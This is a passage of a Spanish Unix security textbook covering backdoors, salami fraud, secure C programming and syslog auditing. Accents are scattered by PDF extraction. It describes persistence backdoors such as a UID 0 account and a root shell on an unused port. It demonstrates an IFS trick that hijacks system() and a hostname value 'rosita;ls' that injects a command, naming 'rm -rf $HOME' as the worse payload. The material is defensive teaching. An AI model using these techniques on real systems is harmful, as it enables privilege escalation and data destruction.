o inmunes al ruido; idealmente, un canal inmune al ruido es aqu´l en que la probabilidad
e
de que el receptor escuche exactamente lo que el emisor ha transmitido es 1: sin importar
factores externos, no hay interferencias en la transmisi´n. Evidentemente, en la pr´ctica es
o a
muy dif´ conseguir estos canales tan perfectos, por lo que es habitual aplicar c´digos de
ıcil o
correcci´n de errores aunque ´stos reduzcan el ancho de banda del canal.
o e
• Flujos de informaci´n
o
De la misma forma que en las l´ ıneas convencionales de transmisi´n de datos se aplican t´cnicas
o e
(multiplexaci´n en el tiempo, multiplexaci´n en frecuencia. . . ) para maximizar el ancho de
o o
banda efectivo, en los canales cubiertos se puede hacer algo parecido. A los canales en los que
se transmiten varios flujos de informaci´n entre emisor y receptor se les denomina agregados,
o
y dependiendo de c´mo se inicialicen, lean y reseteen las variables enviadas podemos hablar
o
de agregaci´n serie, paralela o h´
o ıbrida; los canales con un unico flujo de informaci´n se llaman
´ o
no agregados.
La preocupaci´n por la presencia de canales ocultos es, como hemos dicho, habitual en sistemas
o
de alta seguridad como los militares; de hecho, muchos de los estudios sobre ataques basados en
canales cubiertos y su prevenci´n han sido – y son – realizados por las cl´sicas agencias guberna-
o a
mentales y militares estadounidenses (National Security Agency, US Air Force, National Computer
Security Center. . . ). No obstante, tambi´n en entornos m´s ‘normales’ es posible la existencia de
e a
canales ocultos, especialmente aprovechando debilidades de la pila de protocolos TCP/IP ([Rou96],
[Row96]. . . ).
El an´lisis y detecci´n canales cubiertos es una tarea complicada que generalmente se basa en
a o
complejos modelos formales y matem´ticos ([Wra91b], [MK94]. . . ); diversas aproximaciones son
a
utilizadas para el estudio de canales de temporizaci´n ([Hu91], [Wra91a]. . . ), y tambi´n para el de
o e
canales de almacenamiento ([PK91]).
5.4.8 Puertas traseras
Las puertas traseras son trozos de c´digo en un programa que permiten a qui´n conoce su fun-
o e
cionamiento saltarse los m´todos usuales de autenticaci´n para realizar cierta tarea. Habitualmente
e o
son insertados por los programadores para agilizar la tarea de probar su c´digo durante la fase de
o
desarrollo del mismo y se eliminan en el producto final, pero en ciertas situaciones el programador
puede mantener estas puertas traseras en el programa funcional, ya sea deliberada o involuntari-
amente. Por ejemplo, imaginemos una aplicaci´n que para realizar cualquier tarea de seguridad
o
solicita a quien lo ejecuta cinco claves diferentes; evidentemente, durante la fase de desarrollo es
muy inc´modo para el programador teclear estas contrase˜as antes de ver si el producto funciona
o n
correctamente, por lo que es muy com´n que esta persona decida incluir una rutina en el c´digo de
u o
forma que si la primera clave proporcionada es una determinada no se soliciten las cuatro restantes.
Esta situaci´n, aceptable durante la fase de desarrollo, se convierte en una amenaza a la seguridad
o
si se mantiene una vez el producto est´ instalado en un sistema real: cualquiera que conozca la
a
clave inicial puede saltarse todo el mecanismo de protecci´n del programa.
o
Aparte de puertas traseras en los programas, es posible – y t´ ıpico – situar puertas traseras en
ciertos ficheros vitales para el sistema; generalmente, cuando un atacante consigue acceso a una
m´quina Unix desea mantener ese acceso aunque su penetraci´n sea detectada. Por ejemplo, algo
a o
muy habitual es a˜adir un usuario con UID 0 en el fichero de claves, de forma que el pirata pueda
n
seguir accediendo al sistema con ese nuevo login aunque el administrador cierre la puerta que antes
hab´ utilizado para entrar. Tambi´n es cl´sico a˜adir un nuevo servicio en un puerto no utiliza-
ıa e a n
do, de forma que haciendo telnet a ese n´mero de puerto se abra un shell con privilegios de root;
u
incluso muchos atacantes utilizan la facilidad cron para chequear peri´dicamente estos archivos e
o
insertar las puertas traseras de nuevo en caso de que hayan sido borradas. ¿Qu´ hacer para evitar
e
estos ataques? La prevenci´n pasa por comprobar peri´dicamente la integridad de los archivos
o o
m´s importantes (ficheros de contrase˜as, spoolers, configuraci´n de la red, programas del arranque
a n o
de m´quina. . . ); tambi´n es conveniente rastrear la existencia de nuevos archivos setuidados que
a e
puedan ‘aparecer’ en los sistemas de ficheros: cualquier nuevo programa de estas caracter´ ısticas
suele indicar un ataque exitoso, y una puerta trasera – generalmente un shell setuidado – colocada](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-96-320.jpg)
![5.4. FAUNA Y OTRAS AMENAZAS 79
en nuestra m´quina. Los m´s paranoicos no deben olvidar efectuar una b´squeda bajo los disposi-
a a u
tivos montados (existen utilidades para hacerlo), ya que un find normal no suele encontrar ficheros
setuidados que se guarden en un directorio que es a su vez punto de montaje para otra unidad.
5.4.9 Superzapping
Este problema de seguridad deriva su nombre del programa superzap, una utilidad de los antiguos
mainframes de IBM que permit´ a qui´n lo ejecutaba pasar por alto todos los controles de seguri-
ıa e
dad para realizar cierta tarea administrativa, presumiblemente urgente; se trataba de un ‘Rompa
el cristal en caso de emergencia’ que estos sistemas pose´
ıan, o de una llave maestra capaz de abrir
todas las puertas. Obviamente, el problema sucede cuando la llave se pierde y un atacante la utiliza
en beneficio propio.
Como es normal, este tipo de programas no suele encontrarse en los sistemas modernos por los
graves problemas de seguridad que su existencia implica: imaginemos un shell setuidado como
root y guardado en /tmp/, de forma que si el sistema funciona an´malamente cualquiera puede
o
ejecutarlo para solucionar el posible problema. Parece obvio que para un atacante ser´ un gran
ıa
avance disponer de esta herramienta. De cualquier forma, no es habitual clasificar a los programas
superzap como malware, ya que en principio se trata de aplicaciones leg´ıtimas, incluso necesarias
en determinadas situaciones; es, como sucede en muchos casos, su mal uso y no el programa en s´ ı
lo que constituye una amenaza a la seguridad.
El ejemplo t´ıpico ([ISV95], [Par81]. . . ) de problemas derivados del superzapping es un caso ocurrido
en Nueva Jersey que caus´ la p´rdida de 128.000 d´lares de los a˜os setenta. El operador de un
o e o n
sistema bancario estaba utilizando un programa superzap para corregir balances en el estado de las
cuentas cuando un error simple le demostr´ lo f´cil que pod´ modificar registros sin que el sistema
o a ıa
de auditor´ lo detectara; aprovech´ esta situaci´n para transferir dinero a tres cuentas, y dado que
ıa o o
no dej´ huellas la unica forma de detectar el fraude fu´ la r´pida reacci´n del banco ante la queja
o ´ e a o
de un usuario – y un exhaustivo an´lisis del estado de todas las cuentas.
a
5.4.10 Programas salami
Las t´cnicas salami se utilizan para desviar peque˜as cantidades de bienes – generalmente dinero
e n
– de una fuente con un gran cantidad de los mismos; de la misma forma que de un salami se
cortan peque˜as rodajas sin que el total sufra una reducci´n considerable, un programa salami
n o
roba peque˜as cantidades de dinero, de forma que su acci´n pasa inadvertida. Aunque su efecto
n o
es especialmente grave en entornos bancarios y no en sistemas habituales, en este trabajo vamos
a hablar brevemente de los programas salami ya que se pueden utilizar para atacar equipos Unix
dedicados a operaciones financieras, como la gesti´n de n´minas de personal o la asignaci´n de becas.
o o o
El principal problema de los programas salami es que son extremadamente dif´ ıciles de detectar,
y s´lo una compleja auditor´ de cuentas puede sacar a la luz estos fraudes. Si un programador
o ıa
es lo suficientemente inteligente como para insertar malware de este tipo en los sistemas de un
banco para el cual trabaja (si se tratara de un atacante externo la probabilidad de ataque ser´ casi
ıa
despreciable), seguramente conoce a la perfecci´n todos los entresijos de dicho banco, de forma que
o
no le ser´ dif´ desviar fondos a cuentas que no son la suya, comprobar si se sobrepasa un cierto
a ıcil
umbral en dichas cuentas – umbral a partir del cual el banco ‘se interesar´ por el propietario de
ıa’
la cuenta – o incluso utilizar nombres falsos o cuentas externas a las que desviar el dinero. Contra
esto, una de las pocas soluciones consiste en vigilar de cerca las cuentas de los empleados y sus
allegados, as´ como estar atentos a posibles cambios en su modo de vida: un coche de lujo de una
ı
persona con un sueldo normal, viajes caros, demasiadas ostentaciones. . . pueden ser signo de un
fraude; evidentemente, es necesario consultar con un gabinete jur´ ıdico la legalidad o ilegalidad de
estas acciones, que pueden constituir una invasi´n a la privacidad del trabajador. Por supuesto, la
o
soluci´n ideal ser´ comprobar l´
o ıa ınea a l´
ınea todo el software del banco, pero pocos auditores tienen
los conocimientos – y la paciencia – suficientes para realizar esta tarea.
Un caso particular de programa salami lo constituyen los programas de redondeo hacia abajo o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-97-320.jpg)
![80 CAP´
ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
round down. Este fraude consiste en aprovechar c´lculos de los sistemas bancarios que obtienen
a
cantidades de dinero m´s peque˜as que la moneda de menor valor (en el caso de Espa˜a, cantidades
a n n
de c´ntimos); por ejemplo, imaginemos que alguien tiene ingresadas 123.523 pesetas a un inter´s
e e
del 2’5%; los cr´ditos le reditar´n un total de 3088’075 pesetas, que autom´ticamente para el banco
e a a
se transformar´n en 3088. Si esos 7’5 c´ntimos se acumulan en otro c´lculo con cantidades igual de
a e a
despreciables, se llegar´ tarde o temprano a un punto en el que la cantidad total de dinero sea lo
a
suficientemente apetecible para un atacante dispuesto a aprovechar la situaci´n. Si pensamos que
o
millones de estos c´lculos se realizan diariamente en todos los bancos de Espa˜a, podemos hacernos
a n
una idea del poco tiempo que tardar´ la cuenta de un pirata en llenarse.
a
5.5 Programaci´n segura
o
Parece obvio que despu´s de analizar los problemas que un c´digo malicioso o simplemente mal
e o
dise˜ado puede causar, dediquemos un apartado a comentar brevemente algunos aspectos a tener
n
en cuenta a la hora de crear programas seguros. Vamos a hablar de programaci´n en C, obvia-
o
mente por ser el lenguaje m´s utilizado en Unix; para aquellos interesados en la seguridad de otros
a
lenguajes que tambi´n se utilizan en entornos Unix, existen numerosos art´
e ıculos que hablan de la
programaci´n segura – e insegura – en lenguajes que van desde Java ([MS98], [DFW96], [Gal96b]. . . )
o
a SQL ([PB93]).
El principal problema de la programaci´n en Unix lo constituyen los programas setuidados; si
o
un programa sin este bit activo tiene un fallo, lo normal es que ese fallo solamente afecte a quien
lo ejecuta. Al tratarse de un error de programaci´n, algo no intencionado, su primera consecuencia
o
ser´ el mal funcionamiento de ese programa. Este esquema cambia radicalmente cuando el progra-
a
ma est´ setuidado: en este caso, el error puede comprometer tanto a quien lo ejecuta como a su
a
propietario, y como ese propietario es por norma general el root autom´ticamente se compromete
a
a todo el sistema. Para la codificaci´n segura de este tipo de programas, [Bis86] proporciona unas
o
l´
ıneas b´sicas:
a
• M´ximas restricciones a la hora de elegir el UID y el GID.
a
Una medida de seguridad b´sica que todo administrador de sistemas Unix ha de seguir es
a
realizar todas las tareas con el m´
ınimo privilegio que estas requieran ([Sim90]); as´ a nadie
ı,
se le ocurre (o se le deber´ ocurrir) conectar a IRC o aprender a manejar una aplicaci´n
ıa o
gen´rica bajo la identidad de root. Esto es directamente aplicable a la hora de programar:
e
cuando se crea un programa setuidado (o setgidado) se le ha de asignar tanto el UID como el
GID menos peligroso para el sistema. Por ejemplo, si un programa servidor se limita a mostrar
un mensaje en pantalla y adem´s escucha en un puerto por encima de 1024, no necesita para
a
nada estar setuidado a nombre de root (realmente, es poco probable que ni siquiera necesite
estar setuidado); si pensamos en un posible error en dicho programa que permita a un atacante
obtener un shell vemos claramente que cuanto menos privilegio tenga el proceso, menos malas
ser´n las posibles consecuencias de tal error.
a
• Reset de los UIDs y GIDs efectivos antes de llamar a exec().
Uno de los grandes problemas de los programas setuidados es la ejecuci´n de otros programas
o
de manera inesperada; por ejemplo, si el usuario introduce ciertos datos desde teclado, datos
que se han de pasar como argumento a otra aplicaci´n, nada nos asegura a priori que esos
o
datos sean correctos o coherentes. Por tanto, parece obvio resetear el UID y el GID efectivos
antes de invocar a exec(), de forma que cualquier ejecuci´n inesperada se realice con el
o
m´ınimo privilegio necesario; esto tambi´n es aplicable a funciones que indirectamente realicen
e
el exec(), como system() o popen().
• Es necesario cerrar todos los descriptores de fichero, excepto los estrictamente necesarios,
antes de llamar a exec().
Los descriptores de ficheros son un par´metro que los procesos Unix heredan de sus padres; de
a
esta forma, si un programa setuidado est´ leyendo un archivo, cualquier proceso hijo tendr´
a a
acceso a ese archivo a no ser que expl´ıcitamente se cierre su descriptor antes de ejecutar el
exec().](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-98-320.jpg)
![´
5.5. PROGRAMACION SEGURA 83
pertenece al propietario del programa (generalmente el root) y que tiene permiso de escritura
para todo el mundo. La forma m´s efectiva de solucionar el problema consiste en que el
a
proceso engendre un hijo mediante fork(), hijo que asignar´ a sus eUID y eGID los valores
a
de su rUID y rGID (los identificadores del usuario que lo ha ejecutado, no de su propietario).
El padre podr´ enviar datos a su hijo mediante pipe(), datos que el hijo escribir´ en el
a a
fichero correspondiente: as´ el fichero en ning´n momento tendr´ por qu´ pertenecer al usuario
ı u a e
propietario del programa, con lo que evitamos la condici´n de carrera expuesta anteriormente.
o
Sin embargo, un correcto estilo de programaci´n no siempre es la soluci´n a los problemas de
o o
seguridad del c´digo; existen llamadas a sistema o funciones de librer´ que son un cl´sico a la hora
o ıa a
de hablar de bugs en nuestro software. Como norma, tras cualquier llamada se ha de comprobar
su valor de retorno y manejar los posibles errores que tenga asociados ([Sho00]), con la evidente
excepci´n de las llamadas que est´n dise˜adas para sobreescribir el espacio de memoria de un proceso
o a n
(la familia exec() por ejemplo) o las que hacen que el programa finalice (t´ ıpicamente, exit()) .
Algunas de las llamadas consideradas m´s peligrosas (bien porque no realizan las comprobaciones
a
necesarias, bien porque pueden recibir datos del usuario) son las siguientes5 :
• system(): Esta es la llamada que cualquier programa setuidado debe evitar a toda costa. Si
aparece en un c´digo destinado a ejecutarse con privilegios, significa casi con toda certeza un
o
grave problema de seguridad; en algunas ocasiones su peligrosidad es obvia (por ejemplo si
leemos datos tecleados por el usuario y a continuaci´n hacemos un system() de esos datos,
o
ese usuario no tendr´ m´s que teclear /bin/bash para conseguir los privilegios del propietario
ıa a
del programa), pero en otras no lo es tanto: imaginemos un c´digo que invoque a system()
o
de una forma similar a la siguiente:
#include <stdio.h>
#include <stdlib.h>
main(){
system("/bin/ls");
}
El programa anterior se limitar´ a realizar un listado del directorio desde el que lo ejecutemos.
ıa
Al menos en teor´ ya que podemos comprobar que no es dif´ ‘enga˜ar’ a system(): no
ıa, ıcil n
tenemos m´s que modificar la variable de entorno $IFS (Internal Field Separator) del shell
a
desde el que ejecutemos el programa para conseguir que este c´digo ejecute realmente lo
o
que nosotros le indiquemos. Esta variable delimita las palabras (o s´ ımbolos) en una l´ ınea
de ´rdenes, y por defecto suele estar inicializada a Espacio, Tabulador, y Nueva L´
o ınea (los
separadores habituales de palabras); pero, ¿qu´ sucede si le indicamos al shell que el nuevo
e
car´cter separador va a ser la barra, ‘/’?. Muy sencillo: ejecutar ‘/bin/ls’ ser´ equivalente a
a a
ejecutar ‘bin ls’, es decir, una posible orden denominada ‘bin’ que recibe como par´metro a
‘ls’. Por ejemplo, bajo SunOS – bajo la mayor´ de Unices –, y utilizando sh (no bash)
ıa
podemos hacer que ‘bin’ sea un programa de nuestra elecci´n, como ‘id’:
o
$ cp /bin/id bin
$ ejemplo
bin ejemplo.c ejemplo
$ IFS=/
$ export IFS
$ ejemplo
uid=672(toni) gid=10(staff)
$
Como podemos ver, acabamos de ejecutar un programa arbitrario; si en lugar de ‘id’ hu-
bi´ramos escogido un int´rprete de ´rdenes, como ‘bash’ o ‘sh’, habr´
e e o ıamos ejecutado ese
shell. Y si el programa anterior estuviera setudiado, ese shell se habr´ ejecutado con los
ıa
privilegios del propietario del archivo (si imaginamos que fuera root, podemos hacernos una
idea de las implicaciones de seguridad que esto representa).
5 Que sean peligrosas no significa que algunas de ellas no se deban utilizar nunca, s´lo que si las usamos hemos de
o
tomar unas m´ ınimas precauciones.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-101-320.jpg)
![´
5.5. PROGRAMACION SEGURA 85
luisa:~/tmp$ ./ejemplo 192.168.0.1
[rosita]
No one logged on.
luisa:~/tmp$
Pero, ¿qu´ pasar´ si en lugar de devolver un nombre ‘normal’ (como ‘rosita’) se devuelve
e ıa
un nombre algo m´s elaborado, como ‘rosita;ls’? Podemos verlo:
a
luisa:~/tmp$ ./ejemplo 192.168.0.1
[rosita;ls]
No one logged on.
ejemplo ejemplo.c
luisa:~/tmp$
Exactamente: se ha ejecutado la orden ‘finger @rosita;ls’ (esto es, un ‘finger’ a la
m´quina seguido de un ‘ls’). Podemos imaginar los efectos que tendr´ el uso de este
a ıa
programa si sustituimos el inocente ‘ls’ por un ‘rm -rf $HOME’. Un atacante que consiga
controlar un servidor dns (algo no muy complicado) podr´ inyectarnos datos maliciosos en
ıa
nuestra m´quina sin ning´n problema. Para evitar esta situaci´n debemos hacer una doble
a u o
b´squeda inversa y adem´s no hacer ninguna suposici´n sobre la correcci´n o el formato de
u a o o
los datos recibidos; en nuestro c´digo debemos insertar las comprobaciones necesarias para
o
asegurarnos de que la informaci´n que recibimos no nos va a causar problemas.
o
• syslog(): Hemos de tener la precauci´n de utilizar una versi´n de esta funci´n de librer´
o o o ıa
que compruebe la longitud de sus argumentos; si no lo hacemos y esa longitud sobrepasa un
cierto l´
ımite (generalmente, 1024 bytes) podemos causar un desbordamiento en los buffers de
nuestro sistema de log, dej´ndolo inutilizable.
a
• realloc(): Ning´n programa – privilegiado o no – que maneje datos sensibles (por ejemplo,
u
contrase˜as, correo electr´nico. . . y especialmente aplicaciones criptogr´ficas) debe utilizar es-
n o a
ta llamada; realloc() se suele utilizar para aumentar din´micamente la cantidad de memoria
a
reservada para un puntero. Lo habitual es que la nueva zona de memoria sea contigua a la que
ya estaba reservada, pero si esto no es posible realloc() copia la zona antigua a una nueva
ubicaci´n donde pueda a˜adirle el espacio especificado. ¿Cu´l es el problema? La zona de
o n a
memoria antigua se libera (perdemos el puntero a ella) pero no se pone a cero, con lo que sus
contenidos permanecen inalterados hasta que un nuevo proceso reserva esa zona; accediendo
a bajo nivel a la memoria (por ejemplo, leyendo /proc/kcore o /dev/kmem) ser´ posible para
ıa
un atacante tener acceso a esa informaci´n. o
Realmente, malloc() tampoco pone a cero la memoria reservada, por lo que a primera vista
puede parecer que cualquier proceso de usuario (no un acceso a bajo nivel, sino un simple
malloc() en un programa) podr´ permitir la lectura del antiguo contenido de la zona de
ıa
memoria reservada. Esto es falso si se trata de nueva memoria que el n´cleo reserva para el
u
proceso invocador: en ese caso, la memoria es limpiada por el propio kernel del operativo,
que invoca a kmalloc() (en el caso de Linux, en otros Unices el nombre puede variar aunque
la idea sea la misma) para hacer la reserva. Lo que s´ es posible es que si liberamos una zona
ı
de memoria (por ejemplo con free()) y a continuaci´n la volvemos a reservar, en el mismo
o
proceso, podamos acceder a su contenido: esa zona no es ‘nueva’ (es decir, el n´cleo no la
u
ha reservado de nuevo), sino que ya pertenec´ al proceso. De cualquier forma, si vamos a
ıa
liberar una zona en la que est´ almacenada informaci´n sensible, lo mejor en cualquier caso
a o
es ponerla a cero manualmente, por ejemplo mediante bzero() o memset().
• open(): El sistema de ficheros puede modificarse durante la ejecuci´n de un programa de
o
formas que en ocasiones ni siquiera imaginamos; por ejemplo, en Unix se ha de evitar escribir
siguiendo enlaces de archivos inesperados (un archivo que cambia entre una llamada a lstat()
para comprobar si existe y una llamada a open() para abrirlo en caso positivo, como hemos
visto antes). No obstante, no hay ninguna forma de realizar esta operaci´n at´micamente sin
o o
llegar a mecanismos de entrada/salida de muy bajo nivel; Peter Gutmann propone el siguiente
c´digo para asegurarnos de que estamos realizando un open() sobre el archivo que realmente
o
queremos abrir, y no sobre otro que un atacante nos ha puesto en su lugar:](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-103-320.jpg)
![86 CAP´
ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS
struct stat lstatInfo;
char *mode="rb+";
int fd;
if(lstat(fileName,&lstatInfo)==-1)
{
if(errno!=ENOENT) return( -1 );
if((fd=open(fileName,O_CREAT|O_EXCL|O_RDWR,0600))==-1) return(-1);
mode="wb";
}
else
{
struct stat fstatInfo;
if((fd=open(fileName,O_RDWR))==-1) return(-1);
if(fstat(fd,&fstatInfo)==-1 ||
lstatInfo.st_mode!=fstatInfo.st_mode ||
lstatInfo.st_ino!=fstatInfo.st_ino ||
lstatInfo.st_dev!=fstatInfo.st_dev)
{
close(fd);
return(-1);
}
if(fstatInfo.st_nlink>1||!S_ISREG(lstatInfo.st_mode))
{
close(fd);
return(-1);
}
#ifdef NO_FTRUNCATE
close(fd);
if((fd=open(fileName,O_CREAT|O_TRUNC|O_RDWR))==-1) return( -1 );
mode="wb";
#else
ftruncate(fd,0);
#endif /* NO_FTRUNCATE */
}
stream->filePtr=fdopen(fd,mode);
if(stream->filePtr==NULL)
{
close(fd);
unlink(fileName);
return(-1); /* Internal error, should never happen */
}
}
Como podemos ver, algo tan elemental como una llamada a open() se ha convertido en todo
el c´digo anterior si queremos garantizar unas m´
o ınimas medidas de seguridad; esto nos puede
dar una idea de hasta que punto la programaci´n ‘segura’ puede complicarse. No obstante,
o
en muchas ocasiones es preferible toda la complicaci´n y parafernalia anteriores para realizar
o
un simple open() a que esa llamada se convierta en un fallo de seguridad en nuestro sistema.
No hay ning´n programa que se pueda considerar perfecto o libre de errores (como se cita en
u
el cap´
ıtulo 23 de [GS96], una rutina de una librer´ puede tener un fallo. . . o un rayo gamma
ıa
puede alterar un bit de memoria para hacer que nuestro programa se comporte de forma
inesperada), pero cualquier medida que nos ayude a minimizar las posibilidades de problemas
es siempre positiva.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-104-320.jpg)
![Cap´
ıtulo 6
Auditor´ del sistema
ıa
6.1 Introducci´n
o
Casi todas las actividades realizadas en un sistema Unix son susceptibles de ser, en mayor o menor
medida, monitorizadas: desde las horas de acceso de cada usuario al sistema hasta las p´ginas web
a
m´s frecuentemente visitadas, pasando por los intentos fallidos de conexi´n, los programas ejecuta-
a o
dos o incluso el tiempo de CPU que cada usuario consume. Obviamente esta facilidad de Unix para
recoger informaci´n tiene unas ventajas inmediatas para la seguridad: es posible detectar un intento
o
de ataque nada m´s producirse el mismo, as´ como tambi´n detectar usos indebidos de los recursos
a ı e
o actividades ‘sospechosas’; sin embargo, existen tambi´n desventajas, ya que la gran cantidad de
e
informaci´n que potencialmente se registra puede ser aprovechada para crear negaciones de servicio
o
o, m´s habitualmente, esa cantidad de informaci´n puede hacer dif´ detectar problemas por el
a o ıcil
volumen de datos a analizar.
Algo muy interesante de los archivos de log en Unix es que la mayor´ de ellos son simples ficheros
ıa
de texto, que se pueden visualizar con un simple cat. Por una parte esto es bastante c´modo o
para el administrador del sistema, ya que no necesita de herramientas especiales para poder revisar
los logs (aunque existen algunas utilidades para hacerlo, como swatch) e incluso puede programar
shellscripts para comprobar los informes generados de forma autom´tica, con ´rdenes como awk,
a o
grep o sed. No obstante, el hecho de que estos ficheros sean texto plano hace que un atacante lo
tenga muy f´cil para ocultar ciertos registros modificando los archivos con cualquier editor de tex-
a
tos; esto implica una cosa muy importante para un administrador: nunca ha de confiar al 100% en
lo que los informes de auditor´ del sistema le digan. Para minimizar estos riesgos se pueden tomar
ıa
diversas medidas, desde algunas quiz´s demasiado complejas para entornos habituales ([SK98])
a
hasta otras m´s sencillas pero igualmente efectivas, como utilizar una m´quina fiable para regis-
a a
trar informaci´n del sistema o incluso enviar los registros m´s importantes a una impresora; m´s
o a a
adelante hablaremos de ellas.
6.2 El sistema de log en Unix
Una desventaja a˜adida al sistema de auditor´ en Unix puede ser la complejidad que puede al-
n ıa
canzar una correcta configuraci´n; por si la dificultad del sistema no fuera suficiente, en cada Unix
o
el sistema de logs tiene peculiaridades que pueden propiciar la p´rdida de informaci´n interesante
e o
de cara al mantenimiento de sistemas seguros. Aunque muchos de los ficheros de log de los que
hablaremos a continuaci´n son comunes en cualquier sistema, su localizaci´n, o incluso su formato,
o o
pueden variar entre diferentes Unices.
Dentro de Unix hay dos grandes familias de sistemas: se trata de System V y bsd; la localizaci´n
o
de ficheros y ciertas ´rdenes relativas a la auditor´ de la m´quina van a ser diferentes en ellas,
o ıa a
por lo que es muy recomendable consultar las p´ginas del manual antes de ponerse a configurar el
a
sistema de auditor´ en un equipo concreto. La principal diferencia entre ellos es el denominado
ıa
process accounting o simplemente accounting, consistente en registrar todos los programas ejecuta-](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-105-320.jpg)
![88 CAP´
ITULO 6. AUDITOR´ DEL SISTEMA
IA
dos por cada usuario; evidentemente, los informes generados en este proceso pueden llegar a ocupar
much´ ısimo espacio en disco (dependiendo del n´mero de usuarios en nuestro sistema) por lo que s´lo
u o
es recomendable en situaciones muy concretas, por ejemplo para detectar actividades sospechosas
en una m´quina o para cobrar por el tiempo de CPU consumido. En los sistemas System V el pro-
a
cess accounting est´ desactivado por defecto; se puede iniciar mediante /usr/lib/acct/startup,
a
y para visualizar los informes se utiliza la orden acctcom. En la familia bsd los equivalentes a estas
o
´rdenes son accton y lastcomm; en este caso el process accounting est´ inicializado por defecto.
a
Un mundo aparte a la hora de generar (y analizar) informes acerca de las actividades realizadas
sobre una m´quina Unix son los sistemas con el modelo de auditor´ C2 ([B+ 85]); mientras que con
a ıa
el modelo cl´sico se genera un registro tras la ejecuci´n de cada proceso, en Unix C2 se propor-
a o
ciona una pista de auditor´ donde se registran los accesos y los intentos de acceso de una entidad
ıa
a un objeto, as´ como cada cambio en el estado del objeto, la entidad o el sistema global. Esto
ı
se consigue asignando un identificador denominado Audit ID a cada grupo de procesos ejecutados
(desde el propio login), identificador que se registra junto a la mayor´ de llamadas al sistema que
ıa
un proceso realiza, incluyendo algunas tan comunes como write(), open(), close() o read(). A
nadie se le puede escapar la cantidad de espacio y de CPU necesarios para mantener los registros
a un nivel tan preciso, por lo que en la mayor´ de sistemas (especialmente en entornos habituales,
ıa
como los estudiados aqu´ el modelo de auditor´ C2 es innecesario; y no s´lo esto, sino que en
ı) ıa o
muchas ocasiones tambi´n se convierte en una monitorizaci´n in´til ([ALGJ98]) si no se dispone
e o u
de mecanismos para interpretar o reducir la gran cantidad de datos registrados: el administrador
guarda tanta informaci´n que es casi imposible analizarla en busca de actividades sospechosas.
o
6.3 El demonio syslogd
El demonio syslogd (Syslog Daemon) se lanza autom´ticamente al arrancar un sistema Unix, y es
a
el encargado de guardar informes sobre el funcionamiento de la m´quina. Recibe mensajes de las
a
diferentes partes del sistema (n´cleo, programas. . . ) y los env´ y/o almacena en diferentes local-
u ıa
izaciones, tanto locales como remotas, siguiendo un criterio definido en el fichero de configuraci´n o
/etc/syslog.conf, donde especificamos las reglas a seguir para gestionar el almacenamiento de
mensajes del sistema. Las l´ ıneas de este archivo que comienzan por ‘#’ son comentarios, con lo cual
son ignoradas de la misma forma que las l´ ıneas en blanco; si ocurriera un error al interpretar una
de las l´ıneas del fichero, se ignorar´ la l´
ıa ınea completa. Un ejemplo de fichero /etc/syslog.conf
es el siguiente:
anita:~# cat /etc/syslog.conf
#ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */
#
# Copyright (c) 1991-1993, by Sun Microsystems, Inc.
#
# syslog configuration file.
#
# This file is processed by m4 so be careful to quote (‘’) names
# that match m4 reserved words. Also, within ifdef’s, arguments
# containing commas must be quoted.
#
*.err;kern.notice;auth.notice /dev/console
*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
*.alert;kern.err;daemon.err operator
*.alert root
*.emerg *
# if a non-loghost machine chooses to have authentication messages
# sent to the loghost machine, un-comment out the following line:
#auth.notice ifdef(‘LOGHOST’, /var/log/authlog, @loghost)](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-106-320.jpg)
![92 CAP´
ITULO 6. AUDITOR´ DEL SISTEMA
IA
detalle), existen ciertos archivos de registro ‘habituales’ en los que se almacena informaci´n. A
o
continuaci´n vamos a comentar los m´s comunes y la informaci´n que registra cada uno de ellos.
o a o
6.4.1 syslog
El archivo syslog (guardado en /var/adm/ o /var/log/) es quiz´s el fichero de log m´s importante
a a
del sistema; en ´l se guardan, en texto claro, mensajes relativos a la seguridad de la m´quina, como
e a
los accesos o los intentos de acceso a ciertos servicios. No obstante, este fichero es escrito por
syslogd, por lo que dependiendo de nuestro fichero de configuraci´n encontraremos en el archivo
o
una u otra informaci´n. Al estar guardado en formato texto, podemos visualizar su contenido con
o
un simple cat:
anita:/# cat /var/log/syslog
Mar 5 04:15:23 anita in.telnetd[11632]: connect from localhost
Mar 5 06:16:52 anita rpcbind: connect from 127.0.0.1 to getport(R )
Mar 5 06:16:53 anita last message repeated 3 times
Mar 5 06:35:08 anita rpcbind: connect from 127.0.0.1 to getport(R )
Mar 5 18:26:56 anita rpcbind: connect from 127.0.0.1 to getport(R )
Mar 5 18:28:47 anita last message repeated 1 time
Mar 5 18:32:43 anita rpcbind: connect from 127.0.0.1 to getport(R )
Mar 6 02:30:26 anita rpcbind: connect from 127.0.0.1 to getport(R )
Mar 6 03:31:37 anita rpcbind: connect from 127.0.0.1 to getport(R )
Mar 6 11:07:04 anita in.telnetd[14847]: connect from rosita
Mar 6 11:40:43 anita in.telnetd[14964]: connect from localhost
anita:/#
6.4.2 messages
En este archivo de texto se almacenan datos ‘informativos’ de ciertos programas, mensajes de baja
o media prioridad destinados m´s a informar que a avisar de sucesos importantes, como informaci´n
a o
relativa al arranque de la m´quina; no obstante, como suced´ con el fichero syslog, en funci´n de
a ıa o
/etc/syslog.conf podremos guardar todo tipo de datos. Para visualizar su contenido es suficiente
una orden como cat o similares:
anita:/# head -70 /var/adm/messages
Jan 24 18:09:54 anita unix: SunOS Release 5.7 Version Generic
[UNIX(R) System V Release 4.0]
Jan 24 18:09:54 anita unix: Copyright (c) 1983-1998, Sun Microsystems, Inc.
Jan 24 18:09:54 anita unix: mem = 65152K (0x3fa0000)
